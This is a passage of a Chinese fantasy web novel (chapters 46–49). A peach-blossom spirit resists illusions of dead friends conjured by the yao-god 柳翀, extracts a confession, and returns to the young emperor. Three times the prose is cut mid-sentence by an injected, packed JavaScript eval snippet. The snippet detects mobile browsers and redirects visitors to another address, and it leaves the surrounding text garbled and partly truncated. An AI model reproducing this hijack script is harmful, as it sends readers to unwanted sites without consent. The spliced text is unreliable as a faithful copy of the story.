馥郁的甜香送来一句甜腻腻的话,像是在盛夏蒸过一遍的瓜果,让人情难自禁回忆起还算与世无争的过往,然后开始沉溺。 熟悉的气味与声音让桃花精在话音落下的第一时间就明白了第二个幻象是谁,比起疑惑为什么是他,她更好奇为什么第一个是郑岚。 “桃花精,你转过头来看看我呀。” 会这么叫她的熟人只有一个——烛歌。 她转身,首先吸引她的依然是那双独特的金黄色眼眸,然而此时此刻,这双对她望眼欲穿的眼睛已然不复往日璀璨。 它蒙了一层雾,黯淡无光。 原本如阳光一般的浅金色长卷发也衰败地耷拉在他身上,像是可爱脑袋上生出许多枯草,漂亮的小猫变得滑稽可笑。 桃花精目光很快滑过他不着寸缕的优美躯体,转向一边,“你又想要什么?” “......又?”烛歌痴痴笑起来,抬手无措地摸了摸枯槁的长发,朝她走近一步,“上一个人又给你要了什么?”他料想她不会回答,自顾自说下去:“你对我好冷淡,从前不是这样的,是不是我现在的样子很难看?” 说着,他就捂着脸蹲到地上,夸张地大叫起来,仿佛身体的衰败是这世上最可怖的事。 其实他现在依旧美丽,无论外表是否光鲜,精致的五官与凹凸有致的身体,都在证明他无疑是个美人。 分布均匀的薄肌使他的皮肤在这片灰暗的境地依然泛着蜜糖一样的光泽,这甚至让桃花精开始怀疑是自己方才出了错,他卷曲的长发与金色的眼眸大约一如既往地耀眼,只是昏暗的天地遮掩了他的丽色。 他捂脸蹲在地上,浅金卷发海藻一般缠绕在他线条优美的脊背上,迷人的芬香源源不断从他身上散发出来,吸引地桃花精上前几步,站到他的身边。 没一会,身子抖个不停的少男忽然停止了啜泣,他放下手,仰头泪眼蒙蒙地望着她。 潮湿的眼眸,我见犹怜的美少男。 桃花精静静看着少男两只手逐渐向下探去,终于在他握住之前有了动作。 她脱下外衫,蹲下,给烛歌穿上。 烛歌干瘪的心脏剧烈一颤,难以置信地僵住。 “谢谢你愿意喜欢我。还有——”桃花精抬眼,平静地看着他,“抱歉,没有灵力给你变出一件完整的衣服。” 霎那间—— 紧缩的心脏被汹涌而来的甜蜜充满,重新复苏的鼓胀心脏扑通扑通,几乎冲破胸口跳出来,烛歌一眨不眨地睁大眼睛看着眼前的女孩,失神的眼眸一点、一点,重新亮起柔亮的光彩,仿佛有光点漂浮在空中,轻飘飘落在他浅金色的长卷发中,发丝在这之下近乎透明。 “真......真的吗?”少男攥住她的衣袖,像从前一样,露出小猫的天真神态,他向前倾身,凑近她,“我的情谊,真的又被你接收到吗?” 桃花精轻轻拭去他的眼泪,却不想少男的泪水就像断了线的珠子,怎么也擦不完,她无奈一笑,干脆用力抱紧跪坐在地上的少男,“喜欢我,是以爱情为名的喜欢对吧?我明白哦。” 毕竟被黄鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308686|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼精抹除情感这种事,再有第二次也太丢人了。 手下柔软滑腻的肌肤依旧冰凉一片,她心中警惕,缓缓松开了手站起身,后退几步远离神容逐渐变得癫狂奇怪的少男,一边注意周围的情况,一边仔细观察跪在地上的烛歌。 她一开始遇见郑岚时只以为这是柳翀造出来的幻象,可是后来男人即将消散时的模样实在太像记忆里的郑岚,无论是那样温柔的神情还是说话的语调,简直和郑岚一模一样。 可如果这些幻象都是与她产生过羁绊的死去之人,种种表现却一点也不像他们。 郑岚不会不顾她的意愿抓住她不放,而烛歌虽然平日里穿衣暴露,但真的让他脱衣服洗澡时反而扭扭捏捏百般不愿。 这些幻象做出了本人绝不会做的事,可又会在某一刻流露出让她可以确定就是本人的情感。 桃花精试探性开口:“烛歌,你还记不记得自己是怎么死的?” 果然,就像郑岚到最后也没回答她太后的事情一样,少男也仿佛沉浸在自己的世界中,对她的话置若罔闻。 “哈、哈哈哈......桃花精,你果然还是很讨厌我的对吧?”烛歌也跟站起来,步步紧逼,紧盯着她不放,“明明我都这个样子了为什么你还是不肯看我一眼,为什么为什么为什么!亏你之前还说什么觉得妖精和妖兽没多大区别,到头来不还是跟那群眼高于顶的妖精一样看不起我?” “......什么?”桃花精少男突然的爆发给吼懵了,怔愣良久才反应过来,哪怕心里不断告诉自己这肯定是幻象捣的鬼,可是突然被好朋友这样怀疑,还是忍不住有些气恼:“你到底在胡说些什么啊?烛歌,你才不是郑烨口中不知廉耻的人呀,我不看你是担心你觉得冒犯,你怎么能这么想我?” 少男不依不饶,直接一把掀掉衣裳向前跨一大步,指着自己:“既然不讨厌我那就看看我啊,你看我的头发,柔顺光滑,桃花精,我已经为了你很努力很努力去变得漂亮了,为什么你就是不能喜欢我!为什么,就因为我是卑劣的妖兽吗!” “才不是!”她大声反驳,见少男依旧一副听不进去人话的模样,被误会的愤怒迫使她直接上去给了他一巴掌,啪的一声脆响响彻在这片混沌天地,“现在清醒一点了吗!” 桃花精冷冷看着他,“你不是烛歌,真正的烛歌才不会这么随意地让我看他的身体,所以不要再顶着他的身体质问我为什么不喜欢了,我为什么要喜欢一个小偷!你是谁?柳翀对不对?” 鲜红的掌印很快在少男漂亮的侧脸显现出来。 烛歌委屈捂着自己的脸,泣泪连连,“你在说什么啊桃花精,我是烛歌啊,我就是喜欢你的烛歌啊,你怎么能这么对我?” “真正的烛歌才不会因为被打了一巴掌掉眼泪。”而是会嗷嗷叫着凑过来让她再打一巴掌。 少男吸了吸鼻子,哭着质问:“既然从一开始就知道我不是烛歌,那为什么还要给我披上衣服?其实你心底还是有一点点喜欢我的,是不是?” “不是。”桃花精直视那双水汽氤氲的金眸,“因为你没穿衣服。” 她说:“这里很冷。” 47. 第 47 章 烛歌也消失后,桃花精差不多就知道接下来是谁了。 她突然觉得好累好累,双脚被磨得生疼,两只手也像是坠了两块大石头一样不断把她的身子往下拽,使她不得不在继续走了很长一段路后坐倒在地。 当身体已经被冻的彻底没了知觉后,寒冷已经不足为惧了。 她觉得自己像是一只住在木偶人里的灵魂,没有灵力也没有体力的身体是困住她的牢笼,她起初还能为这具讨厌的躯体而愤怒质疑,可现在只有适应了后深深的疲惫。 混沌已经不能够称之为混沌了,这只是仍然停留在她心底的怪兽,现在四周的环境甚至能够称得上清澈。 上清为天,下浊为地。 唯有她困在这荒凉的天地间茫然无措。 由于实在害怕睡着后又进入那并不完整的噩梦之中,桃花精一直强撑着,告诉自己千万不能睡过去,比起来虚假的幻象,不管怎么说都是真实的噩梦要更可怕一些吧。 就在她眼皮越来越重,迷迷糊糊打着瞌睡时,前方不远处突然传来一声清越而调笑的:“哎呦,我的老天奶哟。” 这道显然不具备善意的声音,在桃花精意识回笼之前便到达了她的耳边,凉凉的气息混杂着丝丝缕缕的桃木清香喷洒在她的脸颊旁:“这不是我们超级超级超级厉害的妖精大人吗?怎么跑到这地方来了?” 说着女人伸出手,用两根手指很嫌弃地捏住她一缕头发提起来晃了晃,“你如此狼狈的模样......该不会是陶丽绾那女人害的吧?” 是椿璇。 哪怕烛歌消亡时她就已经明白这第三道幻象会是谁,可此时此刻乍一听到久远记忆最深处熟悉的声音,还是让她整个人犹如遭遇晴天霹雳,傻愣在原地。 身体刹那间变得僵硬,熟悉的声音分明在耳边,却好似天外之音般让她花费了许多时间才能够听清楚,然后去理解。原本好不容易黑与白分开了的幻境在她眼中又开始变得模糊起来。 直到滴答滴答的细小声音响起在这片孤寂的环境中,她才后知后觉反应过来眼前朦朦胧胧的景象并不是突如其来的眩晕感所导致,而是泪水模糊了她的双眼。 在这一刻揪着她头发晃来晃去的女人还说了些什么她已经彻底听不清。视觉和听觉好似回到了很久很久之前,刚刚被女娲娘娘惩罚完一段时光里的状态,那时候她五感受损,整个人虚弱的连路都走不了,只能依靠着黄鼠狼精勉强存活。 桃花精一只手撑着地面,想要站起来却还是失了力气,无能地跪坐在地面上。 另一只手恼怒地抓住那只手腕并不断用力,似乎想要以此来催促她赶紧使出力气帮助她爬起来,逃离这个女人。 可是实在没有力气。 这不是她的身体,这一定不是她的身体。 力大无穷的桃花精绝对不能是这副样子——如此想着的她更多是妄图以此来转移注意力,最好能干脆的无视这个幻象,等它自己消失。 但是做不到,根本做不到。 椿璇的音容笑貌便如此生动地存在于她的周身。 她个子不高,总是像只小孔雀那样高傲,对待任何人都是眼高于顶,满不在乎的模样。 她经常笑,但大部分都是嘲笑、冷笑。就比如现在一边说着故作惋惜的话,一边夸张地叹气,叹完气之后便是熟悉到让她想要落泪的刀子嘴。 这是如此具有生命力的椿璇啊,而不是那个皮肤腐烂,头身分离,只能被她无可奈何按在怀里的可怜人。 桃花精终于忍不住捂住脸埋头痛哭起来。 哪怕知道这是假的,哪怕无比清晰地明白这一切终将消散,可她还是好高兴,还是好幸福......能够再次见到椿璇这件事真是让人开心啊! “对不起……” 三个字被跪地痛哭的女孩揉碎进泣音,响起在这片唯有她们二人的世界里, 椿璇的冷嘲热讽戛然而止,她冷冷松开了手里那缕头发,慢慢抱膝在女孩面前蹲下,语调缓慢地、低低地问:“你说什么呢?” 桃花精似乎瑟缩了一下,不知为何有些害怕的样子,在听到椿璇的话后很缓慢地抬起了头,两只手还要捂着下半张脸,只露出那双泪流不止的眼睛。 “对不起……”她又说了一遍,无比悲恸:“明明那个时候遇到了的是陶丽绾和你,明明你们两个人同样需要我的帮助,可是我的眼里却只有她,对不起,对不起,椿璇。” 没能察觉到你的理想抱负,真是抱歉。 在你生命最后那几天里,如此蠢笨的我没有注意到你异常低落的状态,真的非常抱歉。 她后来陪陶丽绾来到东河郡后又独自一人偷偷回去京城调查过,发现椿璇死去那日正是皇帝与民同乐出宫游行的时候,椿璇与民间来的土皇帝联手,意图谋反,被那个土皇帝诓骗着竟然当街行刺。 春璇一直都是个很有能力的女人,箭射到了皇帝的肩膀上,差一点就成功了,当时场面极度混乱,假如那时土皇帝按照计划行事,说不定真的能够趁乱杀死皇帝,成功谋反,篡权夺位。 可是事到临头一直陪在皇帝身边的皇后突然起身,死死护住了皇帝,那位皇后正是谋逆者的孪生妹妹,两姐妹从小互相扶持着长大,情谊深厚。 于是那土皇帝看妹妹执意如此,居然直接放弃了计划已久的谋反大计。后来皇帝虚弱死去后,幼子继位,皇后成了太后垂帘听政,把自己的土皇帝妹妹提携成了大将军。 到头来遭殃的就只有那个一腔热血,傻乎乎的椿璇。 时间好似在这一刻停止了流动,沉默在二人之间蔓延,唯一还有的就只是女孩懊悔的哭声。 椿璇那张总是充满了活力,带着各种各样神情的脸庞逐渐冷了下来,她用一种非常奇怪的眼神注视着垂着眼皮不敢看她的女孩,眼底黑沉沉的,带着一种诡异的执着,还有浓浓的疑惑: “你这家伙......到底在说些什么啊?”椿璇蓦地也跪倒在地,不可置信地抓住女孩的肩膀,用力抓着她猛然凑近,目眦欲裂,“你在道歉吗?啊?回答我啊!你还是我认识的那个桃花精吗!你不是一向讨厌我,又自持妖精的身份看不起我们吗?谁允许你这么卑微地道歉了!” 桃花精被她的话问傻,瞪着眼睛摇摇头:“不、不......为什么你们都这么说?我从来没有看不起任何人啊......”她挣扎着就要从女人死死箍住她的双手下脱离,却被女人揪住领口一把拎起来。 这让她陷入了片刻的头晕眼花,不得以扶住女人的小臂来避免自己由于突然站起来而头晕眼花,摔倒在地。 身旁的女人忽然哈哈大笑起来。声音震得她耳朵一阵阵的刺痛。 桃花精被她突如其来的疯癫模样吓到,难受地抓住她抓着自己的手腕要把她推开,却不想女人另一只手也一起抓住了她的领口,把她拉近,恶狠狠说: “你可真是个道貌岸然的妖精啊!说着什么从来没有看不起我们......但分明我们是互不相识的人,对吧?我们对你而言分明只是一只小猫小草,是毫无关系的存在啊!可为什么你成天就是要用那副救世主的模样嚷嚷着守护我们,你以为你是观音菩萨吗?啊?!” 她越说越气,声音震天响:“我从来都不需要你自以为是、自我牺牲的守护与帮助,这种不停吸你的血,榨干你的一切的人。呵——只有陶丽绾吧。” 什么? 明明每一个字都听进去了,但为什么不能理解这段话的意思? 桃花精失神望着女人渐渐狰狞的脸,旋即脑内白光一闪,反应过来:“你是幻象,你在胡说八道!你怎么能这么说?!” 告诉了自己眼前胡言乱语的人是幻象,可她还是没忍住,把女人当做真实的人来指责:“你以为陶丽绾的苦难都是谁带来的?还不都是你吗!要不是因为你因为忮忌杀了陶丽绾的哥哥,也就是当朝宰相,你们俩哪里用得着东躲西藏,颠沛流离?可是被你害得家破人亡的陶丽绾有说过一句怨言 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椿璇冷笑,一字一句说出无比残酷的话语来:“这可不是幻象,这是招魂啊,桃花精,我可是和陶丽绾一起被那个叫柳翀的女人找上门的,可是最后只有我来了,你知道为什么吗?因为陶丽绾她不愿意来,她根本不想见你!她讨厌你桃花精,她讨厌你她讨厌你!” “胡说八道,胡言乱语。”桃花精根本不信,“此世间根本不存在招魂的法术,你就是柳翀刻意制造出来的幻象来迷惑我,你和前面的郑岚以及烛歌一样,本质上都是柳翀的分身,你的所言所行也都是柳翀在控制吧。” 似是再也无法忍受女孩的蠢笨,椿璇竟然直接硬生生把自己的脑袋从脖子上掰下来了,无头人指着平整的,血流不止的断裂处说:“我现在就是我死时的模样,你当时把我从乱葬岗扒出来,并用桃枝把我的头和身体连接起来了,对吧?但是你看看这有桃枝吗!这根本没有,哈,知道为什么吗?因为这是陶丽绾拔出来的!陶丽绾,那个蠢女人真的以为你能用法术把我给复活,她根本不想让我活过来,于是就把桃枝拔掉了!” 桃花精平静地说:“骗人,你是柳翀。” 她一派淡定地从椿璇手里抢过张口大叫的头,满脸认真地把它按回去,并说:“守护陶丽绾确实有上一代桃花精留下遗命的缘故,但是更多的是因为当时我遇到了陶丽绾,因为那时的她需要帮助,所以我会守在她的身边。椿璇,如果我首先遇到的是你,我也一定会守护你。但是抱歉,那时候的我实在太过幼稚,心里只能装下陶丽绾一个人,没有注意到你的想法这件事——厚着脸皮再说一次,真的非常非常抱歉。” 她闭上眼睛深呼吸了一口气:“但是现在我比那时要更加能够理解你的理想与抱负。所以作为迟来的赔礼——拜托了,可以允许我代替你实现你的理想吗?” 不去管幻象椿璇究竟作何反应,桃花精转身抬头,看向虚空处,“柳翀,幻象已经走完了,我的要求不会收回,还是那句话,把军资还给象国,给我们一个交代。 你扭曲真实,设下幻境,目的不就是为了让我意识到凡人的丑恶从而与你或是柳精为为伍?” 在这里,有人喜欢她却要占有她,有人爱慕她却想把她拉入欲望的深渊,帮助的凡人利用她,信任的朋友在这里面目狰狞、说着她最不想听的话...... 曾经她眼中美好的一切,在柳翀的幻境中都变成了“真相大白”的样子,试图以此击碎她的信念。 “但是你错了。”女孩无比坚定,全部的晦暗随着她吐出的话语一点点被柔光驱散,她的世界大亮: “凡人的丑恶与罪孽并不代表着他们不应该被拯救,我也永远不会纠结我所遇到的任何人是否配得上我的善意,只是因为相信温暖的力量,才选择守护这世间一切情感存在的机会。” 同样的,桃花精也不会由于幻境里被扭曲的真实而心生怨恨,因为她从没为了他们的好,而选择善良。 “所以,请和我谈一谈吧,柳翀。” 48. 第 48 章 桃花精再一次在那间华美而有着浓浓生活气息的屋子里醒来。 她掀开被褥下床,发现自己已经换了一身鹅黄的衣裳,布料柔滑,各处绣着精细的纹样,长袖飘飘,是普通凡世小姐常穿的衣服。 柳翀不知道去了哪里,她来到茜纱窗下,拿起绣绷细细观察上面的桃林春燕图,心中关于柳翀原身的猜测逐渐有了雏形。 这里是柳宅,她总不好轻举妄动,万一碰上了什么人可就说不清了。便找了里屋的桌椅旁坐下,为自己斟了一杯茶。 茶水尚且温热,看来柳翀刚刚离去不久,她虽然不能确定女孩什么时候能回来,可她目前还未完全恢复,干脆自己在这里歇一会,如此等会面对柳翀时也不必过于难堪。 说起来还是要感谢柳翀,多亏了女孩费心费力给她设下这一番幻境,反倒叫她认清了自己的内心。 还记得初与柳精交易乃是为了报恩于郑岚,后来慢慢发现原来最初在茶馆碰上柳精就已在女人的掌控之中。 柳精所图究竟是颠覆王朝命运还是不断设局逼迫她成为所谓的花神都不重要了。 因为桃花精已经在女人的棋局中找到了自己真正想做的事。 从前她只想守护陶丽绾和女人的后代,可是现在,她想更多地守护自己能守护的一切。 “讨厌看到生命凋亡这件事,一定是理所应当的吧。”桃花精扭头看向来人。 柳翀迈着大步走进屋内,颇有几分少年人恣意豪爽的风流气度——假如忽略那张自见到桃花精起便迅速黑下的脸。 女孩挨着她手坐下,冷嘲:“道貌岸然。若真这么想就该回去好好修炼,而不是违背妖精的职责长久地逗留人世,怎么,凡人的性命是性命,桃花谷诸多桃木的性命就不是性命了?你这种放着自己应做之事不管反倒跑去别地大发善心的家伙,最恶心了。” 桃花精面不改色,镇定自若:“对,你说的没错,我就是不想履行妖精的职责,我就是讨厌无聊透顶的妖界,我就是喜欢和生动有趣的凡人们待在一起,可那又怎样?不行吗?我从来不敢自诩伟大之人,守护凡世间的真情是我自己想做的事,这与我不想待在妖界矛盾吗?同样是私心,为何就能用前者批判后者了?” 柳翀被他怼的哑口无声,默然良久才不满说道:“你难道忘了你最初所受的苦楚都来源于谁了么?倘若不是上一代桃花精如此不负责任,你也不会自诞生起就如此狼狈——” “倘若不是上一代桃花精如此不负责任,我也不会自诞生起就能感受到这世间最美好的温暖。”她毫不犹豫反驳,直直看向柳翀的目光平和温厚,“给予了妖精人一样的灵魂,却又不允许妖精变得和人一样,还必须把自己漫长的一生奉献给一群植物,明明我也是人,凭什么只能做一个把外界灵力输送给桃花谷的工具?” 此言一出,下一瞬桃花精就被女孩握住脖子推倒在地。她没有挣扎,躺倒在地上时只是轻轻捧住女孩被怒火点燃的脸,慢慢说:“柳翀,你是不是也怨恨我空有所谓的天赋与女娲娘娘的宠爱,却不务正业……我不知道这些话究竟是从哪里来的,哪怕我说不是这样的你恐怕也不会信吧,在这种情况下说着我不在乎这些实在显得高高在上。” 她难耐地闭了一下眼,又很快睁开一条缝看眼前与自己离得极近的女孩,没一会就感受到脖子上的力道松开很多。 她想起来幻境里烛歌与椿璇都说了她看不起他们这种话,痛苦地摇摇头,“陶丽绾死后,我被女娲娘娘按在昆仑山寒狱硬生生承受了一百八十一年的天雷劈打,好不容易逃出去后,勉强依靠郑岚,利用他身上的帝王之气辅助修行,堪堪能够维持桃花谷的生机。后来我又被女娲娘娘关押在桃花谷不得踏出一步,那里什么都没有……没有太阳也没有月亮,黑漆漆冷冰冰的,我只能一遍又一遍拜托过往的妖精帮我带出去一朵桃花,让我能够以此汲取一丝温暖……” 就是这样,也能算作与女娲娘娘关系亲厚吗?只是因为没有被杀死,只是因为能够见到那位神祇,故而她所遭受的一切苦难就可以忽略不计了吗?这些人可真歹毒啊。 柳翀显然是被她话里的意思震撼到,恐怕连她这个大名鼎鼎的妖神也无法想象那一百八十一年她究竟是怎么过来的吧,就连寻常神仙飞升历劫也是需要受住三七二十一与七七四十九道天雷而已,她却是一百八十一年的天雷硬生生一个不落地给受了。 女孩彻底松开了手,呆呆坐起身,双目无神地望着前方,无法接受这一切,喃喃自语:“不、不可能,这不可能。你可是要成为花神的桃花精啊,女娲娘娘最喜欢你了不是吗,怎么可能这么对你……这绝不可能!” “这就是事实。”桃花精推开人从地上爬起来,而后不知从哪变出了纸笔,把地上半天缓不过来的柳翀拉起来,又把女孩按坐在桌子前,把笔塞给她,一口气说完: “神明是不会依照情感来做事的,女娲娘娘永远不会宠爱任何人,否则她将不是她。而我也从来不是,以后也绝不会是什么花神,柳翀,你被骗了。别再执迷不悟了,你应该是强大自由的妖神,而不是任人摆布的棋子。现在,把你所犯的罪行写下来,给象国,给女娲娘娘一个交代。” 说罢,她快步走过去拿起绣绷,不由分说用剪刀把上面的纹样划烂,又撩起裙摆找出上面隐晦绣着的桃木与燕子,一股脑全部剪掉,扔到柳翀面前。 “原来上古妖神嗜月的原型是一只燕子。柳翀,既然你不愿意主动告诉我你的目的,那就让我来猜一猜。” 按理说强大如嗜月本不应再受任何势力的牵制,可她如今所作所为,包括让她在两次幻境里见到陶丽绾与椿璇,无疑不表明她一定与柳精有所牵连。或许黄鼠狼精和柳翀都在为柳精办事。 可是柳精何德何能呢? 黄鼠狼精倒也罢了,假如连强大的妖神嗜月都要与柳精合作,那么要么是柳精手里掌握着柳翀想要却得不到的东西,要么就是柳精与柳翀的目的高度重合,有些事情柳翀受限于妖兽的身份无法办到,只能依靠于柳精。 柳精的目的又是什么? 答案不言而喻。 这群人都疯了,竟然擅自幻想出一个神明来,并把这个头衔安在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336841|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个与其毫不相关的小妖精头上,以此来满足制造一场只属于她们自己的盛大狂欢。 她们想让桃花精成神,可甚至连桃花精都不知道这究竟有何实现的可能。 这根本是不可能的事。 妖神嗜月深知自己兽类的本质,与传说中的神仙有着云泥之别,作为空有“神”名而不具备“神”格的存在,柳翀当然不会止步于此。她妄想能够成为真正的永恒存在,可此前并没有妖兽成神的先例,她当然愿意不惜一切代价做这个第一人,可是她无法冒险。 逆天而行的代价实在太大,她不敢。 于是找到了桃花精这个类似于“中间人”的存在,以她为引子施展自己的通天之路,一旦能够把桃花精送往青云之上,那她成为真正的妖神就不再是不可能的事了。 ............ 在听完桃花精的讲述后,一反常态沉默下来的柳翀忽而笑了,她往后靠在椅背上,低头笑个不停,等笑够了竟然真的拿起笔,蘸了墨水在纸上一字一句写了。 她边写边说,声音还含着笑意:“便如柳玉冷所言,你在某些方面确实聪明。可惜啊,桃花精,你还是太年轻,有些情感与执念哪怕放在了你的面前,恐怕也不会懂的。” 桃花精皱眉,刚想问清楚,就被柳翀提问:“你现在知道陶丽绾的后代是谁了吗?” 她微微怔住,不过须臾就笑了,“现在关于这个问题的答案,已经不重要了吧?” 哪怕被柳翀摆了一道,她也丝毫不见对柳翀的怨气,讲话时像是对待很普通的朋友,甚至还笑嘻嘻开了个玩笑:“就算她的后代满世界跑,我也能面不改色哦。” 见柳翀满脸嫌弃,她颇有些恼地推了推,“真是,干嘛这种表情啊,本来就是呀,无论太后和桃薇两人究竟谁才是陶丽绾的后代,我也依旧会帮助她们的,不会有任何偏私!发誓!” 桃花精不愿意去纠结真相,柳翀也不会自找麻烦地提醒,只是又拿了张新纸铺平,提笔继续写,同时嘴里问道:“那那个梦之后呢?” 难得有姓柳的如此配合自己,她竟然还有点受宠若惊的滋味,探头就要看女孩究竟都写了什么,女孩察觉后直接搬着椅子坐到了另一边还用左边的胳膊盖住不让看,“不准提前看啊否则我不写了,你先回答我的问题!” “......哼,小气鬼。”桃花精做了个鬼脸,抱臂不赌气不看她,“这种事情我还以为你都一清二楚了呢,毕竟那些幻象做的都如此真实不是么?” “呵。”柳翀发出一声意味不明的笑,掀起眼皮看过来,眸光讽刺:“可没那么大能耐,都是从妖精大人你脑中提取的啊。” 桃花精面色一僵,撇了撇嘴,良久都没有再说一句话。 直到看对面的女孩写的差不多了,直接趁其不注意一把抢过来,大致扫了两遍见没有问题,嘿嘿一笑拍了拍她的肩,“借你点灵力用用。” 言毕,不等柳翀伸手去抓,只见屋内白光一闪,人就消失不见。 算了,以后还有的是机会见面。 柳翀想。 49. 第 49 章 回到京城后,桃花精先把柳翀写的几页纸交给崔朔,和他大致商量了一下该怎么和朝廷解释后,便重新写了一份罪己书找到柳鸿影,把罪己书以及在东河郡搜集出来的证据交给女人。 柳鸿影认真看完后十分惊讶,没想到这个看上去不着调的女孩竟然真的能办成大事,种种疑问被她暂且吞入腹中,赶快去了鸿胪寺找到自家小姑,将调查结果交给方亦寒。 被问到怎么查出来时,她犹豫了一下,按照女孩的要求只是说自己的一个朋友帮忙查的。 这是方亦寒坐上鸿胪寺卿位置后接手的第一件大任,万分重视,又与同僚们商讨调查了一遍确实没问题后,才派人找到不知道什么时候跑到花神庙的柳鸿影说要大大地奖赏她与她那个厉害朋友。 正在与崔朔和方花零在京城乐呵玩的桃花精知道了连连摆手,“咱们说好的呀!我为你姑姑调查案件,你代我去花神庙祈福,这样就足够了,我不要那些金银器物!” 柳鸿影听了后十分动容,大概是没想到嬉皮笑脸的桃花精竟然是如此深明大义之士,自认先前误会了她,拉着她的手絮絮叨叨说了很多感谢的话。 桃花精红了脸,埋头结结巴巴说没什么让女人千万不要在意。 前不久还闹了矛盾的两人如此一来一往,也算是成了对不打不相识的朋友。 在外面逗留多日,桃花精掐了个诀刚刚坐到太极宫院子里那棵桃花树上,下一刻下方便传来了男孩惊喜的呼声,她闻声低头去看,便穿过层层桃花,望见一张灿烂的笑脸。 真可谓是人比花娇。 她跳下去,男孩不知道想了什么竟然傻的伸长双臂去接,她一时没躲开竟然也直接扑进了他的怀中。 风吹落花,簌簌的轻响很快被耳边咚咚的奇怪声音覆盖,她疑惑从男孩怀里抬起头来,便见到他红透了的俊脸。 “怎么回事?”她一手搂着男孩的脖子,另一只手就要去摸他红彤彤的脸,不料郑烨却像是见了什么洪水猛兽一般慌张仰头往后躲,一个趔趄竟直接抱着她摔倒在地。 所幸下面有肉垫,她倒是没什么感觉,只是刚才那一下巨大的声响似乎摔的还挺厉害,她担心男孩摔疼了,赶紧撑着两侧的地面起身。刚刚远离,还没完全站起来,身下的男孩突然连滚带爬跑远了。 看到郑烨突如其来的疏远态度,桃花精心中还颇有些伤感,虽然离去了六年可她也勉勉强强算是照看着他长大的,怎么一段时间没见就如此生分了。 真是叫人心痛。 大概是她脸上惋惜的表情太过明显,躲在檐下柱子后的郑烨又忙慌慌张张跑过来,手足无措手脚并用解释:“我我我不是那个意思......” 桃花精摆摆手,不愿为难一个小孩子,一副我理解我都懂的表情,男孩更加绝望了,立即追上去滔滔不绝解释。 她在东河郡很多天都在走路,累得不行,一进了屋就躺倒在床上,还朝局促站在床边的男孩遥遥伸出手,示意他过来。 郑烨惴惴不安走过去,心里既担心云仙大人看穿了自己不可告人的心思,又害怕云仙大人误会自己讨厌她,讨好地跪在一边为女孩捏腿,“听柯良说,鸿胪寺卿的侄女柳鸿影在此次破案中立了大功,又在陶大人的举荐下封了个镇军将军,可她以不堪大任推掉了,跑去北部军营里做了个小校尉。” 柳鸿影的厉害之处可不只是在带兵打仗上。 桃花精随口嗯了一声,一把捞起地上的男孩,把他拽倒在床榻上与自己躺在一处,“好累啊,我灵力耗损严重,你先陪我在这睡一会。” ............ !!!!!!? 与郑烨仅一掌之隔的女孩撂下这句话后就陷入了沉睡,均匀绵长的呼吸声很快传入他耳中,她身上还带着风尘仆仆的泥土味道,显然一路是累极了。 等等!意识到这一点后他猛地屏住呼吸,浑身僵硬无比一动也不敢动,眼睛直愣愣盯着上方好一会,晕乎乎的什么也看不到,只觉得有无数只小蜜蜂在眼前绕来绕去,耳朵也嗡嗡作响。 他赶紧闭紧眼,大脑时而轻飘飘地没有着落,时而又沉得他没办法思考,最后实在是憋不住气了张开嘴,怕自己发出奇怪的声音只能用两只手捂住口鼻,使自己不得不依靠手指间的缝隙慢慢呼吸。 五官因为过于紧张而紧皱在一起,天知道他有多想看一看身边的人,可是又害怕万一她突然醒了捉个正着,从他眼里看出一直以来极力掩藏的情感。 怎怎怎么办! 胸口处轰隆隆响个不停,心脏一直在扑通扑通地跳,好害怕它突然冲出来跑到云仙大人身上。还有这剧烈如鼓声的心跳,会把云仙大人吵醒吗? 郑烨觉得假如继续在这里待下去,比起打扰到云仙大人睡觉,他会因为承受不住强烈的冲击感而直接昏厥。 事实也的确如此。 贪心的郑烨因为舍不得如此轻易放弃与云仙大人“睡觉”的机会,拿着厚被子盖住自己的胸口,最后还是因为太紧张而直接晕了过去。 等桃花精醒来时夕阳已至,迷蒙的金色透过半开的窗子在室内洒落一片赤金,她迷迷糊糊睁开眼,第一感受就是四肢变得轻盈,五感也敏锐起来。 隔着老远都能清楚看到一缕斜阳里许多跃动的浮沉,还有外头微风吹过,花瓣碰撞的轻声。 她垂眸面无表情看着自己的双手,心里隐隐约约有种不好的预感。 最开始只是想休息一下的,没想要修炼啊,怎么灵力还自己跑到她身体里了。 她扭头看向身边被厚厚被褥卷成粽子的郑烨,心想难道是因为和这位小皇帝离得近的缘故?而后才惊讶这家伙大夏天睡觉怎么还裹了那么厚一层被子。 鞋子不知道什么时候被男孩脱了,她站在床上,捏住被子边缘,然后一提—— 香汗淋漓的美少男就这么滚出来了。 额发被汗水浸湿,小脸被闷得红扑扑的,桃花精嫌弃地隔着被子踢了两下,见他还不醒就没有再管了。 穿上鞋爬到窗下的小榻上,隔着窗子观察了一下外面的情况,见没有宫人后就回去了树上。 郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 